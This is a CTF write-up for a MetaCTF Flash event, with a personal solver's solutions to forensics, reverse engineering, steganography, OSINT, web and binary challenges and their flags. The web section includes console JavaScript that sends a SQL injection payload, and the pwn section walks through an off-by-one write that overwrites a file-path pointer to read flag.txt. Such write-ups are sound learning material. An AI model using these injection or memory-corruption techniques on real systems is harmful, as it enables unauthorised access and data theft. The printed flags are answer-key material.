# 8 - August

Challenges:

Thu, August 28th

* 5:00 PM - CTF Starts
* 7:00 PM - CTF Ends
* They also have [official writeups](https://metactf.com/blog/tag/flash-aug2025/) for your references&#x20;

{% tabs %}
{% tab title="challenges" %}

<figure><img src="https://2268275695-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUrHD5lu5pQjrB9B8IR6W%2Fuploads%2FAOdsSI10l43AdUzFYqCR%2Fimage.png?alt=media&#x26;token=26b4ea40-d43e-4ecf-b57a-23e7d5657a7e" alt=""><figcaption></figcaption></figure>
{% endtab %}

{% tab title="ranking" %}

<figure><img src="https://2268275695-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUrHD5lu5pQjrB9B8IR6W%2Fuploads%2FAhBq6AIxMpjibyQAaN4L%2Fimage.png?alt=media&#x26;token=8f95eae1-2e15-41e6-996e-4dfb1b3ab4f0" alt=""><figcaption></figcaption></figure>
{% endtab %}
{% endtabs %}

## Forensics — Baby Something

<figure><img src="https://2268275695-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUrHD5lu5pQjrB9B8IR6W%2Fuploads%2FxfpyWHl3WaWVqU8QAyt3%2Fimage.png?alt=media&#x26;token=08fd28e1-b157-4dfc-9eff-64a3d36a6bff" alt=""><figcaption></figcaption></figure>

> How does the song go again? Baby *something* do do do do do do...
>
> Download the artifact [here](https://metaproblems.com/68cac23cb90cd83f95380ab13319f799/babysomething.pcap).

* You received a <mark style="color:$danger;">`babysomething.pcap`</mark> file
* You can see that the intended solution involves opening the file in Wireshark and analyzing it there.
* However, since I saw this was a 50-point challenge, I decided to take the lazy approach instead:&#x20;
  * <mark style="color:$danger;">`tshark -r babysomething.pcap -V`</mark>
* <mark style="color:blue;">`MetaCTF{w1r3sh4rk_d00_d00_d00_d00_d00_d00}`</mark>

<figure><img src="https://2268275695-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUrHD5lu5pQjrB9B8IR6W%2Fuploads%2FM2TahnLGGe3vUsPgF6D7%2Fimage.png?alt=media&#x26;token=7a544ad3-fb89-4689-a61b-83532ce2f0ff" alt=""><figcaption></figcaption></figure>

## Rev — All About Flags

<figure><img src="https://2268275695-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUrHD5lu5pQjrB9B8IR6W%2Fuploads%2FejPST99jmyz9fUuS0iQn%2Fimage.png?alt=media&#x26;token=beaf7157-7ef9-416c-b5ec-035cf33d8276" alt=""><figcaption></figcaption></figure>

> I wrote a command line application all about flags! Can you take a look at it for me?
>
> There's downloads both for [Windows](https://metaproblems.com/1846d06461dd8b20feb4153d20005405/all-about-flags.exe) and [Linux](https://metaproblems.com/1846d06461dd8b20feb4153d20005405/all-about-flags), but they're functionally the same, just download the version for whichever OS you prefer.
>
> <details>
>
> <summary>If you are unable to download and run applications, click here, but we recommend downloading and running it yourself if possible - it is a useful skill to learn and will be faster than waiting for our instance to start.</summary>
>
> Spawn a browser-based shell below. Note that this is provided as a convenience only and will be paused or removed if there is excessive load.
>
> </details>

* I did my usual routine and ...that is all
* <mark style="color:$danger;">`MetaCTF{I_f1y_m4ny_fl4g5_4nd_c4p7ur3_3v3n_m0r3}`</mark>

<figure><img src="https://2268275695-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUrHD5lu5pQjrB9B8IR6W%2Fuploads%2FLJUhthb40MsqcYcaLoI0%2Fimage.png?alt=media&#x26;token=8b7c1c25-17a3-43de-bf0d-3a983a6f41a1" alt=""><figcaption></figcaption></figure>

* The intended solution is actually to run the executable, though. Which, ehm... makes sense.

```
❯ chmod +x all-about-flags
❯ ./all-about-flags --help
Usage: ./all-about-flags [OPTIONS]

All About Flags - A utility for validating and displaying the MetaCTF Flash CTF - "All About Flags" challenge flag

Options:
  --flag
        Display the challenge flag
  --help
        Show this help message
  --verbose
        Enable verbose output
  --version
        Show version information

Examples:
  ./all-about-flags --flag                    Display the challenge flag
  ./all-about-flags --flag --verbose          Display flag with verbose output
  ./all-about-flags --version                 Show version information
  ./all-about-flags --help                    Show this help message

Exit Codes:
  0  Success
  1  Error or invalid usage
  2  Flag not found or invalid
  
❯ ./all-about-flags --flag
MetaCTF{I_f1y_m4ny_fl4g5_4nd_c4p7ur3_3v3n_m0r3}
```

## Crypto — Rainbow Box

<figure><img src="https://2268275695-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUrHD5lu5pQjrB9B8IR6W%2Fuploads%2FsAiIAQnPK5Rl7jk14Hk9%2Fimage.png?alt=media&#x26;token=9426e354-5eab-4be7-8fb9-89a88e28da91" alt=""><figcaption></figcaption></figure>

> Several planes crashed in the same location, but we could only find one black box. All we found was this weird rainbow image? Can you make anything out?
>
> Download the image [here](https://metaproblems.com/9567319b4223296f1ecfba2957c1e4e9/rainbow_box.png).

* tbh 🤷‍♂️, my first instinct was that the hidden flag was a QR code or something where all the pixels had been scrambled here and there.
  * So I checked the pixels and examined the dimensions to see if it fits 25x25, etc.
  * Then I decided on a whim to throw it into my favorite tool
  * From that... the answer is just a breeze — click and take notes

{% embed url="<https://georgeom.net/StegOnline/upload>" %}

<figure><img src="https://2268275695-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUrHD5lu5pQjrB9B8IR6W%2Fuploads%2FUyTlW3mb7ttsZvDmpGTb%2Fimage.png?alt=media&#x26;token=dfb21d16-5004-42e4-b330-15322d4b82d3" alt=""><figcaption></figcaption></figure>

* Another tool will help you visualize this will be:\\\\

{% embed url="<https://www.aperisolve.com/010828aa09ae76ae8a4cec0e8771c5c8>" %}

<figure><img src="https://2268275695-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUrHD5lu5pQjrB9B8IR6W%2Fuploads%2FR4I3m5hsGCm3d45BymOH%2Fimage.png?alt=media&#x26;token=b13371ed-6106-4df1-bb7c-51213de81117" alt=""><figcaption></figcaption></figure>

<details>

<summary>Explanation</summary>

This is a bitplane steganography chall, w where the flag is hidden in the individual bit layers of the image data. Each RGB channel contains a letter, so when we separate tand visualize each bitplain, the flag becomes visible.

</details>

* <mark style="color:blue;">`MetaCTF{fly-b1tpl4ne}`</mark>&#x20;

## OSINT — On The Grid

<figure><img src="https://2268275695-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUrHD5lu5pQjrB9B8IR6W%2Fuploads%2FKTGBfJd3TmxN4l47ZulK%2Fimage.png?alt=media&#x26;token=ed73c9ae-4323-45e5-b55c-78d6634b4f3b" alt=""><figcaption></figcaption></figure>

> I was hanging out on Granite Beach when I found a message in a bottle, it didn't say very much though. Can you help me figure out where it came from? Here's the transcript:
>
> `Help!`\
> `4V FH 246 677`
>
> The answer to the challenge is the name of the location the message was most likely written at.

* Some searches and llms will lead you to MGRS ([Military Grid Reference System](https://legallandconverter.com/p50.html))
* Plug it in

<figure><img src="https://2268275695-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUrHD5lu5pQjrB9B8IR6W%2Fuploads%2FV3yKjQH7qs2qU4V86M6u%2Fimage.png?alt=media&#x26;token=f55e669c-2dec-49b4-9c8f-fb4ac2b8caa7" alt=""><figcaption></figcaption></figure>

* My first couple attempts that I thought it was simple Alaska so I shoot myself in the foot w that

<figure><img src="https://2268275695-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUrHD5lu5pQjrB9B8IR6W%2Fuploads%2Fe9xRwQBN1EBlKS7gK95E%2Fimage.png?alt=media&#x26;token=444bc9cf-e09c-4746-875b-3e056319d07a" alt=""><figcaption></figcaption></figure>

* Google Map will leads us here

<figure><img src="https://2268275695-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUrHD5lu5pQjrB9B8IR6W%2Fuploads%2FOvZluGFC7OKO3wE02t4O%2Fimage.png?alt=media&#x26;token=9916f90f-0604-44e8-a088-4c3b8c57bc88" alt=""><figcaption></figcaption></figure>

* Flag: <mark style="color:blue;">`Sutwik Island`</mark>
* However, the official writeup said that the answer is <mark style="color:blue;">`Foogy Cape`</mark> (which is just a zoom in specific location of the island)

<figure><img src="https://2268275695-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUrHD5lu5pQjrB9B8IR6W%2Fuploads%2FJPiZzR366VWCIuLyz2LQ%2Fimage.png?alt=media&#x26;token=50074566-7501-4d49-a145-6c4b66510486" alt=""><figcaption></figcaption></figure>

## Web — Super Quick Logic Invitational

<figure><img src="https://2268275695-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUrHD5lu5pQjrB9B8IR6W%2Fuploads%2FZQMwTgisbkfXhkv2sOv3%2Fimage.png?alt=media&#x26;token=be6dcf19-bfe2-4f85-802d-1f00a71e4028" alt=""><figcaption></figcaption></figure>

> I'll take "Rather Vexing" for 500 Alex.
>
> This new trivia game is pretty fun, but one of the challenges is impossible! "What is the flag for this CTF challenge?", how would I know?! Maybe you'll fare better?

<figure><img src="https://2268275695-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUrHD5lu5pQjrB9B8IR6W%2Fuploads%2FNjHhMeKIiprU7X4sOzwu%2Fimage.png?alt=media&#x26;token=077c5049-215e-4d64-bc16-3f800520683a" alt=""><figcaption></figcaption></figure>

* Lets hit up the site and see what we are dealing with&#x20;
* After reconnaissance we could pull up the script in the game, I first spotted the&#x20;

```java
function stopTimer() {
    if (timerInterval) {
        clearInterval(timerInterval);
        timerInterval = null;
    }
}
```

* So simply input that in the console (the game time will stop and give us time to do our shenanigans.

{% hint style="success" %}
Paste <mark style="color:$danger;">`stopTimer()`</mark> into the console
{% endhint %}

<figure><img src="https://2268275695-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUrHD5lu5pQjrB9B8IR6W%2Fuploads%2FqEdoU1j1WVgTz2PFvbPB%2Fimage.png?alt=media&#x26;token=64aaac5d-cb1b-40f1-ab55-f88f84599c41" alt=""><figcaption></figcaption></figure>

* The frontend lets you pull *new* questions from `/next_problem`.
  * ```javascript
    function loadNextProblem() {
        console.log('Loading next problem...');
        ...
        // Get next problem from server
        fetch('/next_problem')
            ...
    }
    ```
* The backend builds a SQL string like\
  `SELECT * FROM problems WHERE id = <id> AND answer = '<user_input>'`\
  and even returns the failed SQL back to the client on error.
  * This can be confirm when we input special characters like `'";:[{]}|` *and* the code leak in the source.

```
if (data.error) {
  if (data.query) {                                    // <== 🔴 leak -- so sql inject
    resultDiv.innerHTML = 'SQL Error occurred';        // <== 🔴 leak -- hehehe
    `;
  }
}

```

* So our exploit process is straight forward, if we can cause a DB error, we’ll see the **exact SQL** the server tried to run.

<figure><img src="https://2268275695-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUrHD5lu5pQjrB9B8IR6W%2Fuploads%2FkBd3w1q5QwEogHzQO6ve%2Fimage.png?alt=media&#x26;token=ae940eb1-2e10-418a-89bb-c90b6fff4977" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
Next, this will go to the next problem until we stop at the last problem — At this point the page reads: **“What is the flag for this CTF challenge?” — paste the code below to the console**
{% endhint %}

```javascript
(async () => {
  // ignore the client’s “no duplicates”
  if (typeof usedProblems !== 'undefined') usedProblems.clear();

  // keep asking the server for a new problem until we hit the flag
  for (;;) {
    const j = await (await fetch('/next_problem')).json();
    // show it on screen so we can see it
    document.getElementById('problem').textContent = j.question;

    if (/flag.*ctf/i.test(j.question)) {
      console.log('HIT:', j.question);
      break;
    }
  }
})(); // paste this into the console

```

<figure><img src="https://2268275695-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUrHD5lu5pQjrB9B8IR6W%2Fuploads%2FUKlxWzkf7toEPPdXANvz%2Fimage.png?alt=media&#x26;token=153d390b-44a1-4f41-8937-1af69ba63b04" alt=""><figcaption></figcaption></figure>

* Finally, we send our ~~regard~~, I mean payload
  * On the flag question, our payload will short-circuits the WHERE clause to true by selecting the **flag row,** the server will think our answer is <mark style="color:$danger;">`(id = <current_id> AND ...) OR (id = 201)`</mark> which is true when we are at question 201. And then route to  <mark style="color:$danger;">`/game_end`</mark>

```javascript
(async () => {
  const csrf = document.querySelector('input[name="csrf_token"]').value;
  const payload = "' OR id = 201 -- ";
  const res = await fetch('/submit', {
    method: 'POST',
    headers: {'Content-Type': 'application/x-www-form-urlencoded'},
    body: new URLSearchParams({ answer: payload, csrf_token: csrf })
  });
  const data = await res.json();
  console.log(data.correct ? 'Marked SOLVED' : 'Not solved', data);
  location.href = '/game_end';
})();

```

* The reason why it is 201 is because when we are at the question "What is the flag...", we break the sql again so it reveals to us
* Also the challenge description, bro literally said "*201* unique problems to solve each game, you'll never believe what's the answer to challenge *201*"

```sql
Error: unrecognized token: "";:[{]}\|,<.>/?'"
Query: SELECT * FROM problems WHERE id = 201 AND answer = ''";:[{]}\|,<.>/?'
```

<figure><img src="https://2268275695-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUrHD5lu5pQjrB9B8IR6W%2Fuploads%2F4bhf1dIiFACDGTktzzmc%2Fimage.png?alt=media&#x26;token=e0002bbf-810f-4593-a1f2-5ffd04db8e87" alt=""><figcaption></figcaption></figure>

* <mark style="color:blue;">`MetaCTF{wh4t_1s_7h3_fl4g_f0r_7hi5_ch5l1eng3}`</mark>&#x20;

## Binary Exploitation — Spreadsheet

<figure><img src="https://2268275695-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUrHD5lu5pQjrB9B8IR6W%2Fuploads%2FfEHPEgqLwYw33IDwutem%2Fimage.png?alt=media&#x26;token=3a084233-24ec-4459-81fc-570ddf4551bd" alt=""><figcaption></figcaption></figure>

> I can't afford Office 365 so I've decided to roll my own. What could possibly go wrong!
>
> My spreadsheet application is a work in progress but feel free to give it a try. You can download my program [here](https://metaproblems.com/751ed25efb17cbc11a50ed717d81fcdd/spreadsheet.zip).
>
> Try it live here: <mark style="color:$danger;">`nc kubenode.mctf.io 31009`</mark>\
> If that instance is not working, there is a backup instance at: <mark style="color:$danger;">`nc host5.metaproblems.com 754`</mark>`2`

{% hint style="info" %}
One sad thing about this challenge is that it took me an entire hour due to misidentifying the challenge type. It was Binary Exploitation, but my dumb ass thought the purple category color indicated Forensics. This led me down a rabbit hole I never wish to jump into again.
{% endhint %}

tldr; The program stores a 10×10 grid of <mark style="color:$danger;">`char*`</mark> in <mark style="color:$info;">`.bss`</mark> right before a global pointer named <mark style="color:$danger;">`savefile`</mark>.\ <mark style="color:$warning;">`edit_spreadsheet()`</mark> bounds-checks the row as <mark style="color:$info;">`1..10`</mark> but allows the **column letter up to&#x20;**<mark style="color:$success;">**`'K'`**</mark> (off-by-one). Writing to cell **K10** therefore writes one pointer **past** the grid and **overwrites `savefile`**.\
Set it to `flag.txt`, then **Load → Print**.

```bash
E
K10
flag.txt
L
P
```

Because the service is jailed at `/srv/app`, the correct in-jail path is `flag.txt` (or `/flag.txt`), not `/srv/app/flag.txt`. (My mistake for not reading the dockerfile)

```docker
FROM pwn.red/jail:latest
COPY --from=ubuntu:22.04 / /srv
COPY spreadsheet.bin /srv/app/run
COPY flag.txt /srv/app/flag.txt
RUN ln -s /tmp/spreadsheet.csv /srv/app/spreadsheet.csv
ENV JAIL_TMP_SIZE=4096
```

* Okay, now after the moment I realized the flag is not directly in the hex of the bin (Forensics - duh), and some address manipulation (Binary Exploit), I throw it into dogbolt and get the ghidra decompiler code to works.

```java
// init: set default filename
savefile = strdup("spreadsheet.csv");

void edit_spreadsheet(void) {
  char col; int row; char val[1024];
  scanf("%c%d%*c", &col, &row);
  ...
  if ((((row < 1) || (10 < row)) || (col < 'A')) || ('K' < col)) {
      puts("Error: bad cell");
  } else {
      free(spreadsheet[row-1][col-'A']);
      spreadsheet[row-1][col-'A'] = strdup(val);   // ❌ accepts 'K'
  }
}

void load_spreadsheet(void) {
  FILE *fp = fopen(savefile, "r");
  ...
  while (fgets(line, 0x400, fp) && strlen(line) > 1) {
    int col = 0;
    char *val = strtok(line, ",");
    while (val) {
      free(spreadsheet[row][col]);
      spreadsheet[row][col] = strdup(val);        // (no col<=9 check)
      val = strtok(NULL, ",");
      col++;
    }
    row++;
  }
}

void save_spreadsheet(void) {
  FILE *fp = fopen(savefile, "w");
  for (row=0; row<10; row++)
    for (col=0; col<10; col++)
      fprintf(fp, "%s,", spreadsheet[row][col]);
  fputc('\n', fp);
}

```

* That's when I realized:
  * **Edit OOB (off-by-one):** column allows `'K'`, so `col-'A' == 10` is written, overflowing row’s 10-element row.
* Why `K overwrites savefile`?

```
$ nm -n spreadsheet.bin | egrep ' spreadsheet$| savefile$'
0000000000004060 B spreadsheet      # 10×10 pointers = 100 * 8 = 0x320 bytes
0000000000004380 B savefile         # immediately after spreadsheet
```

* The grid occupies indices `0..99`; the **next** pointer (index **100**) is `savefile`. Valid indices are: `0..99` (A1..J10).
* **K10** → <mark style="color:$danger;">`(10-1)*10 + ('K'-'A' = 10) = 9*10 + 10 = 100`</mark> → **exactly one past** the array → **`savefile`**.
* Set cell **K10** to the file you want to load (the flag), and the next `Load` will <mark style="color:$danger;">`fopen(savefile, "r")`</mark>.
*

```
$ nc kubenode.mctf.io 31009
Options: (P)rint, (E)dit, (L)oad, (S)ave, (Q)uit
 > E
Enter cell (i.e. 'B7'): K10
Enter new value: flag.txt
Value updated!
 > L
Spreadsheet loaded!
 > P
        A       B       C       D       E       F       G       H       I       J
 1      MetaCTF{c0mm4_c0mm4_c0mm4_c0mma_c0mm4_ch4m3l30n}  EMPTY ...
```

* <mark style="color:blue;">`MetaCTF{c0mm4_c0mm4_c0mm4_c0mma_c0mm4_ch4m3l30n}`</mark>

🚩gg.
